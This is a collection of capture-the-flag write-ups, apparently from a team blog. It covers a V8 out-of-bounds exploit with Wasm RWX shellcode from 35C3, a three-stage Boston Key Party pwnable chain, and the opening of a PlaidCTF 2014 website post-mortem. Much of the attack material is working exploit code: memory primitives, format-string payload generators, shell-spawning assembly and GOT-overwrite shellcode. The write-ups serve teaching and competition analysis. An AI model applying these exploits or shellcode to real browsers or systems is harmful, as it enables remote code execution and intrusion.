Unfortunately, triggering this bug had been extremely difficult, and it was fragile, so I decided to spend some time working on stabilizing this, and making it easier to do OOB RWs.

Stabilized OOB RW

The initial idea for this is to take a “short” array, use the bug to overwrite its length, and then provide this new array to the “outside world”. This way, later stages of the exploit can easily perform out-of-bounds accesses without needing to trigger the original finicky bug again.

In order to perform this stabilization, we need to introduce 2 arrays, use the first to overwrite the length of the second. In particular, we will set the length of the second array to 1024 * 1024 so that we definitely have enough to overwrite whatever we want.

Since we need to work with conversions between floats and integers, I copied the following code from Google CTF 2018’s “Just In Time” challenge:

let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
  return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
  int_view[0] = this;
  return float_view[0];
}
BigInt.prototype.smi2f = function() {
  int_view[0] = this << 32n;
  return float_view[0];
}
Number.prototype.f2i = function() {
  float_view[0] = this;
  return int_view[0];
}
Number.prototype.f2smi = function() {
  float_view[0] = this;
  return int_view[0] >> 32n;
}
Number.prototype.i2f = function() {
  return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
  return BigInt(this).smi2f();
}

We can now implement our idea. Since the code had started to get a little more complex, I also started to add in some small test cases that will help me figure out if things were going fine or wrong.

let oob_rw_buffer = undefined;

function trigger(minusZero, isstring) {
	// The arrays we shall target
	let a = [1.1, 1.1, 1.1, 1.1, 1.1, 1.1];
	let b = [1.1, 1.2, 1.3, 1.4, 1.5];

	// Trigger the actual bug
	let aux_a = { aux_z : 1.2 };
	aux_a.aux_z = _auxiliary_(minusZero, isstring);
	let i = aux_a.aux_z + 0;	// Real: 1, Feedback type: Range(0, 0)

	// Move over to the length field for `b`
	i *= 16;			// feedback: 0

	// Change the length to 1024 * 1024
	a[i] = (1024*1024).smi2f();

	// Expose OOB RW buffer to outside world, for stage 1
	oob_rw_buffer = b;

	return a[i + 1];
}

if (trigger(false, false) != 1.1) {
	throw "[FAIL] Unexpected return value in unoptimized trigger";
}
	%OptimizeFunctionOnNextCall(trigger);
if (trigger(false, true) != 1.1) {
	throw "[FAIL] Unexpected return value in first-level optimized trigger";
}
	%OptimizeFunctionOnNextCall(trigger);
if (trigger(true) == undefined) {
	throw "[FAIL] Unable to trigger bug"
}
if ( oob_rw_buffer.length < 1024 ) {
	throw "[FAIL] Triggered bug, but didn't update length of OOB RW buffer";
}

It was at this point that I noticed that from this point forward, I would, for the most part, be unable to use the debug build. The reason for this is that performing an OOB RW using oob_rw_buffer caused a dynamic debug-time check. Thus, I switched over to using the release build from this point forward. I did temporarily switch back to the debug build from time to time, in order to better obtain offsets for exploitation, but otherwise, I relied almost entirely on the release build.

Powerful Primitives

Now that we have an OOB RW primitive, we can start to craft more useful primitives, namely arb_read, arb_write, and addr_of:

arb_read(addr): Reads 8 bytes from addr and returns as a BigInt.
arb_write(addr, value): Writes the 8-byte BigInt value to addr.
addr_of(o): Returns the address of the object o. This should give the same value as what %DebugPrint returns.

Unfortunately, in order to design these primitives, we are going to need to modify the trigger function above one last time. This is because we need to introduce two more arrays that should be allocated immediately after oob_rw_buffer, and then use those to give us the primitives we need.

Modified trigger:

let oob_buffer = undefined;
let oob_buffer_unpacked = undefined;
let oob_buffer_packed = undefined;

function trigger(minusZero, isstring) {
	// The arrays we shall target
	let a = [0.1, 0.1, 0.1, 0.1, 0.1, 0.1];
	let b = [1.1, 1.2, 1.3, 1.4, 1.5];
	let c = [{}, 2.2, 2.3, 2.4, 2.5, 2.6, 2.7, 2.8];
	let d = [3.1, 3.2, 3.3, 3.4];

	// Trigger the actual bug
	let aux_a = { aux_z : 1.2 };
	aux_a.aux_z = _auxiliary_(minusZero, isstring);
	let i = aux_a.aux_z + 0;	// Real: 1, Feedback type: Range(0, 0)

	// Change `b.length` to 1024 * 1024
	a[i * 16] = (1024*1024).smi2f();

	// Expose OOB RW buffer to outside world, for stage 1
	oob_buffer = b;
	oob_buffer_unpacked = c;
	oob_buffer_packed = d;

	return i == 0 ? 'untriggered' : a[i];
}

Now, we have a set of 3 buffers that we can use to provide the exact primitives we need:

oob_buffer: This is the attacked array, which provides us with the ability to perform oob rw
oob_buffer_unpacked: This array consists of tagged pointers and unpacked floats. This will be used to give us the addr_of primitive.
oob_buffer_packed: This array consists of packed floats. This will be used to provide our arb_read and arb_write primitives.

What is this “packed” and “unpacked”? As a memory optimization, v8 stores an array consisting only of floats as a “packed” float array. This means that all the floats lie contiguously. This is in comparison to the unpacked form, which is used whenever there is at least 1 non-float in the array. In this case, objects are stored as tagged pointers, and the floats are stored in “boxed” form.

With these now, we can define our primitives, which are got simply by accessing the elements of the two latter buffers.

const RW_OFFSET = 38;
const ADDR_OFFSET = 18;
const BACKING_POINTER_OFFSET = 15n;
const leaked_addr_backing = oob_buffer[RW_OFFSET].f2i() + BACKING_POINTER_OFFSET;

function arb_read(addr) {
	let old = oob_buffer[RW_OFFSET];
	oob_buffer[RW_OFFSET] = (addr - BACKING_POINTER_OFFSET).i2f();
	r = oob_buffer_packed[0].f2i();
	oob_buffer[RW_OFFSET] = old;
	return r;
}

function arb_write(addr, val) {
	let old = oob_buffer[RW_OFFSET];
	oob_buffer[RW_OFFSET] = (addr - BACKING_POINTER_OFFSET).i2f();
	oob_buffer_packed[0] = val.i2f();
	oob_buffer[RW_OFFSET] = old;
}

function addr_of(o) {
	let old = oob_buffer_unpacked[0];
	oob_buffer_unpacked[0] = o;
	let r = oob_buffer[ADDR_OFFSET].f2i();
	oob_buffer_unpacked[0] = old;
	return r;
}

We also write some tests to help ensure that things work smoothly as we move on to the next stages (you can find these in the final exploit file).

Crafting an Attack

With the powerful primitives that we now have access to, we can easily trample over whatever memory we want/need.

It was this point forward, that a lot of time was spent chasing after leads that led to almost nowhere. I have skipped most of the details of these, but what follows is a short summary, before I get to the solution after Hours of Pain!, during A New Hope.

The first thing that I did was to try to obtain the location of D8_BASE (i.e., find the start of the first page of the d8 executable). The code below was written after spending a whole bunch of time trying to stabilize this.

function calc_d8_addr() {
	let a = LEAKED_ADDR;
	a &= ~(0xffffn);		// Go to start of page
	a = arb_read(a + 24n);	// Dereference start+8
	a = arb_read(a);		// Deref that
	a = arb_read(a);		// And now we are in d8
	a &= ~(0x7fffn);		// Go near start of page
	a -= 0x600000n;		// Go nearer to start of page
	for(var x = 0; x < 0x20000; x += 0x1000) {
	if (arb_read(a - BigInt(x)) == 0x00010102464c457f) {
		// console.log(x.toString(16));
		return (a - BigInt(x));
	}
	}
	throw "[FAIL] Could not find valid d8 base";
}
const D8_BASE = calc_d8_addr();
if (arb_read(D8_BASE) != 0x00010102464c457f) {
	throw "[FAIL] D8_BASE is unstable"
}
if (arb_read(D8_BASE + 0x606000n) != 0x89485ed18949ed31n) {
	throw "[FAIL] Can't find correct R_X page from D8_BASE"
}
console.log("    + Obtained D8_BASE = " + D8_BASE.hex());

With D8_BASE, I could obtain LIBC_BASE:

const libc_fputc = arb_read(D8_BASE + 0x115eb48n);
const libc_printf = arb_read(D8_BASE + 0x115eb68n);
const libc_puts = arb_read(D8_BASE + 0x115eb58n);
const libc_base = libc_fputc - FPUTC_OFFSET;
if ( libc_base + PRINTF_OFFSET != libc_printf ) {
	throw "[FAIL] Unknown libc";
}
if ( libc_base + PUTS_OFFSET != libc_puts ) {
	throw "[FAIL] libc is messing with me";
}
console.log("    + libc_base: " + libc_base.hex());

… and thus, we could leak a stack address:

const libc_environ = libc_base + ENVIRON_OFFSET;
const stack_leak = arb_read(libc_environ);

Now, the plan was clear (or so I thought): write a ROP chain, and trample over the stack backwards until we hit a RETsled, that jumps to our ROP chain. Then, we’ve got shell, and we’ve got the flag. Easy-peasy, right? Nope, so damn wrong.

Finally, shell! Or is it?

At this point, I created a ROP chain for an execve shell, using ropper on d8. I also added code to start trampling over the stack:

let cur_pos = stack_leak - 8n * BigInt(ROPCHAIN.length);
for (var i = 0 ; i < ROPCHAIN.length ; ++i) {
	arb_write(cur_pos + 8n * BigInt(i), ROPCHAIN[i]);
}
for (var i = 0 ; i < TRAMPLE_MAX ; ++i) {
	// console.log(i);
	cur_pos -= 8n;
	arb_write(cur_pos,
		  RET
		 );
}

After spending tons of time in the debugger, I was finally able to figure out that setting TRAMPLE_MAX to 17 worked, and I finally got a shell!!! While this was a local shell on my own machine, I had been using the same binary as the server, so I thought: what could be so different? Of course, I was accounting for differences in offsets between server and my machine, but I couldn’t be more wrong.

On a side note: this exploit works with relatively high reliability. It fails once out of every 10~20 runs, but otherwise it works brilliantly. Also, I had switched over to a manually written ROP chain using libc. This version of the exploit can be found here.

I used the prettydiff minifier to minify my code, as the server accepted only one line, and sent it over. No shell. Just a stack smash. Now began the many many hours of pain.

Hours of Pain!

I now had a valid exploit, and I was able to get a local shell, even with the minimized version (thus showing that minifier wasn’t doing something wrong). I also had the shell work with high reliability, so after doing a couple of dozen tests on the server, I knew that it wasn’t a reliability issue. Maybe it was a difference in offsets?

They had provided a Dockerfile along with the challenge, and it used tsuro/nsjail. This is what I had used to obtain the libc in order to get its offsets, but I could now use this to debug why things were failing. Unfortunately, the Dockerfile cannot be used out of the box. Instead, it requires some other correct set up. I was too tired to figure that out, so I just simply spun up tsuro/nsjail, believing that the rest of the stuff was just fluff to prevent things from staying up too long, and adding in proof-of-work, etc.

I was able to have the exploit run stably inside the docker container, so that felt odd. I was too sleep deprived to think all that clearly, but soon, I realized that the server was using worker.js which I was not. I quickly added a modified worker.js so that I would not need to always paste/pipe in my exploit (basically by replacing a readline with a read from file).

After some tinkering around, my exploit worked! I sent it over to the server, and nope, nothing. I tried again, and nothing.

After spending a bunch more time, I realized that the readline was messing with me, and I was unable to get the shell unless I used the --allow-natives-syntax flag (which btw, I had already replaced the %OptimizeFunctionOnNextCalls with loops, in order to not require natives), but for some reason, adding that flag made the stack amenable to give me a shell.

From this point onwards, it was pure agony, and I tried a whole bunch of different things. These included trying to one-gadget it, using a JITted function, or using a random function pointer, etc. Since full RELRO was enabled, I couldn’t overwrite the GOT. Ricky provided tons of ideas at this point, and I’d tried a whole bunch, but none worked out. It didn’t help that the exact scenario that I was in, I could not directly have the bug triggered inside GDB, and outside GDB, if I triggered it and obtained a core dump, when I tried to analyze it, GDB itself crashed and gave a core dump.

I was about to give up. I didn’t have a flag, but I at least got a shell locally, and that was a big win for me, personally, and I was also extremely sleepy at this point.

A New Hope

I announced my intentions of giving in to sleep on our team Slack, and Ricky asked me to take another closer look at one of his suggestions: looking at WebAssembly (aka Wasm). Due to the addition of Wasm support to v8 (over the past couple of years), we can write JS code to call out to functions written in Wasm. In order to optimize Wasm code, v8 compiles that to native code as well. Ricky indicated that it might be possible that this compilation might lead to the creation of an RWX page that we might be able to use for our exploits.

I had tried this out earlier, and had been unable to really use it (i.e., I had been unable to trigger the creation of an RWX page), but just to make sure that I had done things right, I opened up a new text editor, and wrote down some JS code to initialize and execute some Wasm code. The only goal of introducing Wasm into our exploit is to introduce an RWX page that we can then use.

Running this and checking vmmap using peda, I realized that we had introduced an RWX page (!)

From this point forward, there is a “new” (or ancient) path to shell that I can see: write shellcode to the RWX region, and then directly execute it. I was no longer sleepy :D

Flag!

Now that I could see a new approach to getting a shell, I was re-energized. I started to look for “paths” from known functions/variables to the RWX page. Fortunately, I found one that seemed stable, even on the server, and I was able to obtain a pointer to a function that I could execute.

At this point, all that remained was to actually add in some shellcode (taken from shell-storm), and I’d have shell.

The final exploit consisted of initializing wasm, in order to obtain an rwx_page_addr and a wasm_func that when run, would execute the core at the address obtained.

let wasm_buffer = new ArrayBuffer(wasm_simple.length);
const wasm_buf8 = new Uint8Array(wasm_buffer);
for (var i = 0 ; i < wasm_simple.length ; ++i) {
	wasm_buf8[i] = wasm_simple[i];
}

let rwx_page_addr = undefined;

var wasm_importObject = {
	imports: {
	imported_func: function(arg) {
		// wasm_function -> shared_info -> mapped_pointer -> start_of_rwx_space
		let a = addr_of(wasm_func);
		a -= 1n;
		a += 0x18n;
		a = arb_read(a);
		a -= 0x91n;
		a = arb_read(a);
		rwx_page_addr = a;
		console.log("    + rwx_page_addr = " + rwx_page_addr.hex());
		stages_after_wasm();
	}
	}
};

async function wasm_trigger() {
	let result = await WebAssembly.instantiate(wasm_buffer, wasm_importObject);
	return result;
}

let wasm_func = undefined;

wasm_trigger().then(r => {
	f = r.instance.exports.exported_func;
	wasm_func = f;
	f(); });

Once we had these, it was a simple matter of throwing in, and executing the shellcode:

function stages_after_wasm() {
	for (var i = 0 ; i < shellcode.length ; ++i ) {
		let a = rwx_page_addr + (BigInt(i) * 8n);
		arb_write(a, shellcode[i]);
	}
	wasm_func();
}

And there we have it, a shell! Since this no longer relied on the stack, it was a much more stable exploit, and I was able to run it on the server, and obtain the flag: 35C3_this_bug_was_a_minus_zero_day. Quite a fitting flag, won’t you say?

Concluding Remarks

This challenge was super fun and interesting. I learnt a lot along the way, even though I was frustrated at times, especially due to the stack issues at the end. On a discussion with Stephen after I had got the flag, he said that he too had to get around the weird stack issue, but he’d done it by overwriting free_hook with system, and then calling console.log with sh. That definitely was an awesome solution as well, and one that I will keep in mind for the future.

Acknowledgements

Massive thanks to Ricky who gave massive moral support and kept throwing in ideas when I was about to give up, after I’d been facing those stack issues. Also, mad props to Stephen for finding this bug, and having this as a challenge in 35c3. Thanks to Carolina for reviewing this writeup and providing some super helpful suggestions.

Write-up by f0xtr0t (Jay Bosamiya) [https://www.jaybosamiya.com/]

quincy-center (uspace)

Sat, 07 Mar 2015 00:00:00 +0000

This is a write-up for quincy-center challenge, which is the first part of 3-chained pwnable challenge from Boston Key Party CTF last weekend. You can also read from the origial post.

The binaries were packaged into a tar ball.

The MBTA wrote a cool system. It’s pretty bad though, sometimes the commands work, sometimes they don’t… Exploit it. (uspace flag) 54.165.91.92 8899

The goal is to get “uspace” flag by exploiting the user space process.

Looking at the output of file , these are all x86_64 binaries.

$ file uspace
uspace: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=98a138f60a8cfd6239de3181ef118776db40c8e6, stripped

Opening up in IDA Pro, we see that sub_401470 has the process loop that prompts “bksh> “ like a shell environment.

bksh (uspace) command line parser

First, we see that there are semaphore locking/unlocking for I/O operations, which don’t seem to be too important at the moment. Then, the code to parse the command follows.

The general scheme for how the system works will be explained in the next series (kspace), so we will leave out the details of how things are implemented and maintained for now. Understanding the operations (create, list, remove, etc.) abstractly is good enough for exploiting the user space :)

There are total of 6 commands it understands: ls, create, rm, cat, sleep, and exit.

ls — lists files on the system
create — creates a new file on the system
rm — deletes a file on the system
sleep — sleep…
exit — exits the shell

Let’s look at what create does for us.

The function takes the first argument to the command as a file name, and reads 256 bytes from the user for the content of the file that is being created. The buffer that is being read is large enough, so there’s no overflow here. Then, it “calls” into the kernel “syscall” (via shared memory) with the syscall number 96 and its two arguments (file name & contents buffer). Everything seems normal and sane, so we move on.

create syscall (from uspace to kspace)

Looking through more functions, we find a vulnerable code in cat, where it uses sprintf with the file contents buffer as its format string (aka trivial buffer overflow).

"cat" operation (open syscall followed by read syscall)

v12 is a stack buffer of size 256 bytes, and it’s located bp-0x118. Also, we noticed that the NX was disabled on this binary, so we could easily jump to our buffer (such as one of our arguments for the command). Conveniently, the pointers to our arguments are on the stack, so we can do a simple pop/pop/ret gadget to get an arbitrary code execution!

pwn_uspace.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
import struct

def p(v):
    return struct.pack('<Q', v)

def u(v):
    return struct.unpack('<Q', v)[0]

f = open('payload', 'wb')

pop_pop_ret = 0x40110F

f.write('create fmt\n'.ljust(0x400, '#'))

payload = '%280x' + p(pop_pop_ret)
f.write(payload.ljust(0x100, '\0'))

f.write(('cat fmt ' + open('shell.bin').read()+ '\n').ljust(0x400, '#'))

shell.asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[BITS 64]

section .text
global _start
_start:

lea rdi, [rel binsh]
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall

binsh:
db '/bin/sh',0

Pwn it!

$ python pwn_uspace.py
$ (cat ../uspace/payload; cat -) | sudo ./tz
bksh> bksh>
whoami
uspace

We have successfully got a shell as uspace user. (Note that since the challenge servers are down, the exploitation is shown in a local setup.)

Once we have arbitrary code running on uspace, we can then perform syscalls that are exposed by the kernel, but not available through a user-space interface (such as syscall number 92, shown below).

kspace syscall handler

The analysis of kspace & tz will be continued on the next post.

Write-up by Cai (Brian Pak) [https://www.bpak.org]

quincy-adams (kspace)

Sat, 07 Mar 2015 00:00:00 +0000

This is a write-up for quincy-adams challenge, which is the second part of 3-chained pwnable challenge from Boston Key Party CTF last weekend. You can also read from the origial post.

The binaries were packaged into a tar ball.

The MBTA wrote a cool system. It’s pretty bad though, sometimes the commands work, sometimes they don’t… Exploit it. (kspace flag) 54.165.91.92 8899

The goal is to get “kspace” flag by exploiting the kernel space process.

Before we dive in, let’s look at what is really going on.

We can think of each process (tz, kspace, uspace) as a separate privilege ring, as their name suggest.

tz (TrustZone?) — a “hypervisor” layer that implements the “hypercalls” (we haven’t really reversed this too much).
kspace — a kernel layer that implements the “syscalls”; it maintains the files array and performs the actual tasks such as listing files, removing files, sleeping, and cat’ing (open & read).
uspace — a user layer that implements the interface that the user interacts with; it parses the commands and calls the appropriate “syscalls”.

We would start from the uspace to get an arbitrary code execution on uspace process (as we did in previous write-up), then exploit the kspace to allow us to perform an attack against tz. Shared memory is arranged by tz, such that each layer will get its own memory “space” to pass the arguments to {sys, hyper}calls.

kspace syscall_handler (sub_401180)

We can see that the syscall numbers, which is stored on user_space[0], match with what we saw on uspace.

do_ls loops through the file_array list and prints out the name of the file.
do_rm finds the file in file_array with a given filename, and deletes it.
do_create adds a file into file_array up to 16 files. It looks for the spot/bin in the array by checking if the filename is null. This also initializes the file structure:
- open_file, read_file, and delete_file are the function pointers.
  - Note that syscall 95 and 99 are sleep and exit, respectively, which are not that interesting :p
  - do_read finds the file in file_array with a given filename, and if the file is “open”, its content is copied to the output buffer (2nd argument).
  - do_open finds the file in file_array with a given filename, and changes its open state.
    - Only up to 9 files can be open simultaneously.

file struct

There is a bug with file creation and deletion, where the number of files in the list gets incremented when creating a file, but it does not get decremented when being deleted. Thus, we can only create up to 16 files and we can’t create any more file even if we delete some. This didn’t really affect the exploitation, however :)

If you followed carefully, you’d have noticed that we didn’t go over the mysterious syscall 92 (sub_402380).

This operation, unlike other ones, does not process the user input/arguments here. Instead, it forwards these arguments to tz via the “hypercall”.

syscall 92 (kspace)

To be more precise, the 3 arguments are stored starting at kernel_space + 48, and the hypercall takes 3 arguments of the hypercall number (92), **, and the **pointer to the arguments (kernel_space + 48).

So what does this hypercall do? Let’s take a look at tz binary now.

hypercall handler (tz)

As we can see above, sub_401560 is the hypercall 92 handler. It doesn’t really do anything too fancy. The function performs a very simple “encryption” of data.

hypercall 92 handler

It basically xor’s the bytes at src with the key “charlestown isn’t that skeytchy.” and stores the result to dest.

There is no restriction on the memory address for dest (other than checking if it’s 0x100000000), which allows us to do arbitrary (xor) write. By preparing the src buffer with already xor’d values, we can write any value we want to any memory location.

So, we can use this capability(?) to write useful data structure (such as a function pointer) to gain arbitrary code execution!

Just like uspace, kspace has NX disabled, so we can put our shellcode somewhere and jump to it.

The attack plan is as follows:

Create a file, with the content being the shellcode we want to run as kernel.
Overwrite a function pointer (open_file) for the first file (which is the one that we just created in step 1) with the pointer to our shellcode.
- The file_array is located at kernel_space + 0x3E800 == 0x90003e800.
- According to our struc_files struct, file_array + 0x8 points to the files array.
- Thus, the first file structure will be located at 0x90003e808 and according to our struc_file, its content is located at the offset +0x9.
- The first file’s content == shellcode == 0x90003e800 + 0x8 + 0x9 == 0x90003e811.
- The first file’s open_file function pointer is at +0x118 from the file structure, which makes its location 0x90003e920.
Invoke a syscall #93, which opens a file.
- At this point, we will tell it to open our file which has corrupted open_file function pointer — thus, calling into our shellcode.

shell.asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
  [BITS 64]
  section .text
  global _start
  _start:

  ; sem_lock(sem_io, 0)
  mov edi, [0x6024a8]
  xor esi, esi
  mov eax, 0x401A90
  call rax

  ; syscall 92 (encrypt)
  push qword [rel data]       ; 0x90003e811 (xor'd)
  mov rax, [0x602498]         ; user_space
  mov qword [rax], 92         ; syscall #92
  mov qword [rax + 8], rsp    ; src (ptr to data)
  mov rcx, [rel dst]          ;
  mov qword [rax + 16], rcx   ; dst (0x90003e920)
  mov qword [rax + 24], 0x8   ; len

  ; sem_unlock(sem_io, 0)
  mov edi, [0x6024a8]
  xor esi, esi
  mov eax, 0x401AC0
  call rax

  ; sleep(1)
  mov rdi, 1
  mov rax, 0x400C30
  call rax

  ; sem_lock(sem_io, 0)
  mov edi, [0x6024a8]
  xor esi, esi
  mov eax, 0x401A90
  call rax

  ; syscall 93 (open)
  push qword [rel data]       ; now has 0x90003e811
  mov rax, [0x602498]         ; user_space
  mov qword [rax], 93         ; syscall #93
  lea rcx, [rax + 16]         ; (using user_space + 16 as scratch)
  mov qword [rax + 8], rcx    ; filename
  mov rcx, [rel lol]
  mov qword [rax + 16], rcx   ; filename &lt;- &("lol")

  ; sem_unlock(sem_io, 0)
  mov edi, [0x6024a8]
  xor esi, esi
  mov eax, 0x401AC0
  call rax

  data:
  dq 0x7473656572628072   ; 0x90003e811 ^ 0x7473656c72616863 (key)
  dst:
  dq 0x90003e920
  lol:
  db 'lol',0

Note that since we are using syscal #92 (encrypt) to perform an arbitrary write to memory, we have to “encrypt” the value we want to write beforehand such that it will get “decrypted” when it writes. The filename we used is “lol”.

pwn_kspace.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python
import struct

def p(v):
    return struct.pack('<Q', v)

def u(v):
    return struct.unpack('<Q', v)[0]

f = open('payload', 'wb')

f.write('create lol\n'.ljust(0x400, '#'))
f.write(open('shell.bin').read().ljust(0x100, '\0'))

pop_pop_ret = 0x40110F
stage1 = open('stage1.bin').read()

f.write('create fmt\n'.ljust(0x400, '#'))

payload = '%280x' + p(pop_pop_ret)
f.write(payload.ljust(0x100, '\0'))

f.write(('cat fmt ' + stage1 + '\n').ljust(0x400, '#'))

Our exploit code looks fairly similar, but we now create a file called ‘lol’ first with the shellcode. (The shellcode is the same as what we used for uspace.)

Then, we trigger the bug with our stage1 code.

Pwn!

$ nasm shell.asm -f bin -o shell.bin
$ nasm stage1.asm -f bin -o stage1.bin
$ python pwn_kspace.py
$ (cat ../kspace/payload; cat -) | sudo ./tz
bksh> bksh> bksh>
whoami
kspace

So far, we have triggered a uspace bug to call a syscall (92) in kspace, which does a hypercall (92) in tz, which allowed us to perform an arbitrary memory write in kspace memory.

Amusingly, we will be using the same primitive to get a shell under tz context in the next series.

Write-up by Cai (Brian Pak) [https://www.bpak.org]

braintree (tz)

Sat, 07 Mar 2015 00:00:00 +0000

This is a write-up for braintree challenge, which is the last part of 3-chained pwnable challenge from Boston Key Party CTF last weekend. You can also read this content from the origial post.

The binaries were packaged into a tar ball.

The MBTA wrote a cool system. It’s pretty bad though, sometimes the commands work, sometimes they don’t… Exploit it. (tz flag) 54.165.91.92 8899

The goal is to get “tz” flag by exploiting the kernel space process.

If you haven’t read the previous write-up for quincy-adams, I strongly recommend you to read before continuing with this one as we will assume knowledge gained from it.

As it was mentioned previously, we will be using the same primitive: hypercall #92.

Therefore, we have an arbitrary-write-anywhere primitive. So, the question is “what can we overwrite in tz that will get us an arbitrary code execution?”

We started looking at each of the hypercall handlers in tz.

Then, we stumbled upon hypercall #85.

This function seemed like some sort of cleanup (we called it delete_op in our shellcode) function for an object used in tz. (As I said previously, we didn’t do much of reversing on tz as we did for uspace and kspace)

It seems like the first argument (v3) is a word that represents id of some sort, but the important thing is that we can control its value. v2 is an offset to the tz data structure, and the value at tz_space + v2 (where v2 is 0) is 0.

Since NX is enabled on tz, we decided to overwrite the GOT entry to execute system. Since the addresses are randomized, we first need to leak an address to calculate the address of system. We are going to abuse the hypercall #92 to do 3 things:

Leak out libc address, so we can calculate the address of system.
Overwrite free (.got.plt in tz) with &system.
Overwrite contents in v4 + 8 (aka, tz_space + 8) with a pointer to our command buffer.

However, doing all of these comes with a price. The size limit (256 bytes) starts to become an issue here. We can either put another stager in the middle to allow us more space, or optimize our payload such that it fits under 256 bytes! We chose to do latter :p

shell.asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
[BITS 64]

section .text
global _start
_start:

; yay we are in kernel!!!
; optimizing for size...
mov ebp, 0x8

; leak out &getpwnam
mov eax, 0x402380       ; do_encrypt
mov edi, 0x602290       ; src (getpwnam .got.plt in tz)
mov rsi, [rel dst]      ; dst (kernel_space + 128)
mov edx, ebp            ; size
call rax

call sleep

; update the address (to be &system) and
; xor the address back with the key
mov rcx, [rel dst]
mov rax, [rcx]
xor rax, [rel xor_key]
sub rax, 0x79340        ; &getpwnam - &system (this may be different depending on libc)
xor rax, [rel xor_key]
mov [rcx], rax

; overwrite free GOT
mov eax, 0x402380       ; do_encrypt
mov rdi, [rel dst]      ; src (kernel_space + 128)
mov esi, 0x602230       ; dst (free .got.plt in tz)
mov edx, ebp            ; size
call rax

call sleep

mov rax, [rel command]  ; encrypt our command pointer
xor rax, [rel xor_key]
push rax

; overwrite [fake_obj + 8] with cmd pointer
mov eax, 0x402380       ; do_encrypt
mov rdi, rsp
mov rsi, [rel fake]
mov edx, ebp            ; size
call rax

call sleep

; setting command to 'sh'
mov rcx, [rel command]
mov dword [rcx], 0x6873

; hypercall to trigger free
; sem_lock
mov ebp, [0x60338C]     ; semaphore
mov edi, ebp
xor esi, esi
mov eax, 0x4015D0
call rax

xor rcx, rcx
mov rax, [0x603360]     ; kernel_space
mov dword [rax], 85     ; delete_op hypercall
mov [rax + 8], rcx      ; 0
lea rdx, [rax + 48]     ; rax + 48 points to args
mov [rax + 16], rdx

mov word [rax + 48], 0  ; id

; sem_unlock
mov edi, ebp
xor esi, esi
mov eax, 0x401600
call rax

call sleep

sleep:
; sleep(1)
mov eax, 0x400D00
xor edi, edi
inc edi
jmp rax

dst:
dq 0x900000080         ; scratch pad in kernel_space
fake:
dq 0x100000008         ; tz_space + 8
xor_key:
dq 0x7473656c72616863
command:
dq 0x900001000         ; we will put our command here

At first, we were over ~10 bytes, but once we have “optimized” a little bit, we finally got our payload to be 254 bytes!

Note that we are not using the same shell.asm as before (our new payload is now called shell.asm). However, we can continue to use the same stage1.asm and the python script from kspace exploit. For convenience sake, it is also attached here.

pwn_tz.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python
import struct

def p(v):
    return struct.pack('<Q', v)

def u(v):
    return struct.unpack('<Q', v)[0]

f = open('payload', 'wb')

f.write('create lol\n'.ljust(0x400, '#'))
f.write(open('shell.bin').read().ljust(0x100, '\0'))

pop_pop_ret = 0x40110F
stage1 = open('stage1.bin').read()

f.write('create fmt\n'.ljust(0x400, '#'))

payload = '%280x' + p(pop_pop_ret)
f.write(payload.ljust(0x100, '\0'))

f.write(('cat fmt ' + stage1 + '\n').ljust(0x400, '#'))

Pwn!

$ nasm shell.asm -f bin -o shell.bin
$ ls -l shell.bin
-rw-rw-r-- 1 user user 254 Mar 4 21:58 shell.bin
$ nasm stage1.asm -f bin -o stage1.bin
$ python pwn_tz.py
$ (cat ../tz/payload; cat -) | sudo ./tz
bksh> bksh> bksh>
whoami
tz

We have abused the hypercall #92 (encrypt) to exploit both kspace and tz, but there may be another way to exploit kspace without going through the hypervisor.

Well, that’s it for the 3-parts pwnable challenge write-up =)

Thank you for reading, and happy hacking!

Write-up by Cai (Brian Pak) [https://www.bpak.org]

PlaidCTF 2014 — Website post-mortem

Mon, 14 Apr 2014 00:00:00 +0000

First, we would like to thank everyone for participating in PlaidCTF 2014. Thanks to all of you, this year was bigger than ever with over 850 teams partcipating and 3 sponsors (THANK YOU!) providing $14K in cash prizes and covering all of our operating costs. Congratulations go out to 0xffa, Dragon Sector, and MoreSmokedLeetChicken for finishing in 1st, 2nd, and 3rd. We hope everyone had a lot of fun with the challenges and maybe learned a thing or two, as well.

Now, as everyone who played pCTF this year noticed, things got off to a very rocky start. This was very disappointing for us because we spent a lot of time this year building a simpler interface that would be more usable and, we hoped, more stable. It turns out that we had a few mistakes materialize during the CTF, some nastiness with a particular WSGI server, and more teams than ever before.

The first issue that came up was with our frontend / caching server. Like previous years, we used nginx to serve the static files, but unlike previous years, we also used nginx as the caching layer instead of varnish. This turned out to be a fatal error because nginx does not support the standard Vary HTTP header, which is used by the backend to distinguish between pages that should be cached based on the cookie and those that should not. As such, all pages were cached without the cookie which meant a user might see a different team’s page instead of their own. As a quick fix, we added the cookie header to the cache key, but now all of the pages that we thought would be regenerated once per second needed to be regenerated once per second per team. And as I will discuss later, we had a lot of teams.

